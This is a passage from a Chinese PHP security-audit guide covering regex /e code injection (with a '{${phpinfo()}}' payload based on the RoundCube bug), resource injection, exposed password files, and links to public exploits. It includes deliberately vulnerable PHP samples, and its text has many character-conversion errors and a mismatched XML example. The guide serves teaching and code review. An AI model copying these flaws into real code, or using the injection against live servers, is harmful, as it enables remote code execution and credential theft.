PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit:
http://www.milw0rm.com/exploits/1068
16 – HTML Comment中提供的詳細信息 (Low):
HTML標籤可用於尋蹤WEB程序或者泄漏WEB程序結構。
17 – 默認安裝的多餘文件 (medium):
一些PHP CMS或者WEB程序在安裝完成後並無刪除安裝文件,致使攻擊者能夠控制其中的數據或者重設管理員密碼。
18 – 正則表達式(Regular Expression)漏洞(High):
Regular Expression Injection或者RegEx Injection經過替換正則表達式中的修飾符e而將代碼注入到WEB程序中。Perl支持這個修飾符,其它技術包括PCRE(Perl-compatible regular expressions) library。若是該漏洞被使用,其替換內容是可估計的。這種方法很強大,由於它不只容許使用變量名,並且支持其它命令。
Example (RoundCube Bug):
RoundCube使用了html2text函數,它存在一個評論漏洞:用戶輸入的數據可被PHP引擎分析並執行。這將致使一些被惡意構造的輸入數據被WEB服務器看成PHP代碼來執行。這個漏洞是因爲PHP中使用的preg_replace()函數用了'e' flag而致使的。在正則表達式中使用’e’將容許PHP對輸入數據進行處理。例如咱們想將小寫字符串更改成大寫的,可使用如下代碼:
<?php
print preg_replace('/(.*)/e', 'strtoupper("\\1")', 'test');
?>
preg_replace函數容許程序員使用PHP中的strtoupper ()函數去處理輸入的字符串,這將致使用戶能夠輸入包含PHP命令的字符串,以至形成不良後果。
利用該漏洞最絕的一招就是將PHP命令假裝成變量來執行它們。在正常的操做中,preg_replace容許用戶在變量中傳輸並替換它們。例如:
<?php
$foo = 'bar';
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '$foo');
?>
將輸出預料中的「BAR」。但當使用:
<?php
$foo = 'bar';
print preg_replace('/(.*)/e', 'strtoupper("\\1")', 'phpinfo()');
?>
將會簡單地輸出"PHPINFO()"。爲了使PHP引擎去解釋命令,咱們必須將其分配給一個變量。一般能夠簡單地使用一個'$'做爲分隔符,並用上PHP大括號,因而:
<?php
print ${phpinfo()};
?>
將盡職地輸出phpinfo()命令的輸出結果。但若是咱們將其發送給原先的preg_replace()函數,那麼將會發生錯誤,你會注意到:
<?php
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '${phpinfo()}');
?>
產生了下列錯誤:
[Tue Jan 13 09:24:48 2009] [error] [client 192.168.0.50] PHP Fatal error: preg_replace() [<a
href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code:
\nstrtoupper("${phpinfo()}") in /var/www/html/exploit.php on line 22
爲了不發生錯誤,咱們須要再添加一個大括號,以執行賦予的命令。更改後的代碼以下:
<?php
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '{${phpinfo()}}');
?>
RoundCube漏洞出如今bin/html2text.sh中的行6中:
$converter = new html2text(html_entity_decode($HTTP_RAW_POST_DATA, ENT_COMPAT, 'UTF-8'));
攻擊實例:
Analysis of the RoundCube html2text Vulnerability
http://www.milw0rm.com/exploits/7549
http://www.securiteam.com/exploits/6W00L0KC0I.html
更多信息:
http://hauser-wenz.de/playground/papers/RegExInjection.pdf
19 – Resource Injection (Medium):
當遇到下面兩種狀況時資源注入漏洞就發生了:
1. 攻擊者能夠指定標識符去訪問系統資源。
例如攻擊者能夠指定一個端口號去鏈接網絡資源。
2. 經過指定資源,攻擊者能夠得到本來並未許可的權限。
例如程序可能會容許攻擊者發送敏感信息給第三方服務端。
下面看一看關於此漏洞更爲詳細的路徑操做描述。
Example:下列代碼中讀取了HTTP request中的hostname,並使用它去鏈接決定票價的數據庫。
<?php
$host=$_GET['host'];
$dbconn = pg_connect("host=$host port=1234 dbname=ticketdb");
...
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM pricelist WHER
E name = $1');
$result = pg_execute($dbconn, "my_query", array("ticket"));
?>
這類可被用戶的輸入數據影響到的資源意味着這類內容存在危險。例如,數據中包含特定的字符,好比句號,斜杆,反斜杆,當使用這種可危害到文件系統的方式時都是存在風險的。同時,包含URL和URI的數據對於建立遠程鏈接也是存在風險的。
攻擊實例:
Synthetic Attack [XSS , RI ] :
http://www.milw0rm.com/exploits/7866
20 – 弱口令: (Low)
你必須檢查一下:
- 你在數據庫中使用未加密的明碼。
- 加密密碼(例如:MD5),但還不夠安全。
- 保存密碼在[.txt, .ini, .xml...]等文件中,這些文件都有可能被攻擊者讀取到。
- 使用弱口令。
例如password.xml(可被攻擊者讀取)
攻擊:
Http://viktim.com/password.xml
<?xml version="1.0" ?>
<novo-xml>
<register>
<client-id>test</client-id>
<password>'.$username.'</password>
<user-id>'.$password.'</user-id>
<phone-num>'.$phone.'</phone-num>
<app-id>test</app-id>
<channel>I</channel>
<user-type>upgrade</user-type>
</register>
</novo-xml>
經過 password.xml進行認證:
Login.php
<form method="post" action="login.php">
Username: <input type="text" name="username">
<br />
Password: <input type="password" name="password">
<br />
<input type="submit" name="submit" value="Login">
</form>
<?php
$file = "password.xml";
$username = $_POST[‘username’];
$password = $_POST[‘password’];
if (file_exists($file))
{
$xml = simplexml_load_file($file);
$count = 0;
foreach($xml->username as $currUser)
{
if (strtolower($currUser) == strtolower($username))
{
break;
}
$count++;
}
if ($xml->active[$count] == 1)
{
if (md5($password) == $xml->password[$count])
{
echo "Valid user logged in!";
}else{
echo "Password does not match. Come on! Try harder!";
}
}
else{
echo "User is inactive. Choose another!";
}
}else{
echo "Critical Error: File not found!";
}
?>
攻擊實例:
Passwords Decrypted for UPB <= 1.9.6:
http://www.securityfocus.com/bid/13975/exploit
Section 2: PHP源碼審計自動化( PHP Fuzzer )
1- Codescan PHP[$]:
http://www.codescan.com/
2- Rats [free] :
http://www.fortify.com/security-resources/rats.jsp
3- Pixy [sqli – xss] :
http://pixybox.seclab.tuwien.ac.at/
問題:
本文並未徹底涉及PHP源碼安全檢閱(審計),因爲時間倉促,所以對於文中所形成的錯誤表示抱歉。筆者沒法保證,但有可能會發布本文的下一版本,以包含更多高級的方法。
下面是一些可能在下一版本中會被討論到的內容:
1- 更多的攻擊實例
2- PHPIDS防護
3- 更爲危險的函數:CURL – socket – creat_function & ….
4- 討論一些函數的安全使用
5- 關於PHP安全編程書籍的相關信息
6- ETC
資源:
http://www.fortify.com
http://wikipedia.com
http://www.madirish.net
http://www.owasp.org
http://samate.nist.gov/
http://searchsecuritychannel.techtarget.com/
http://www.webappsec.org
http://phpsec.org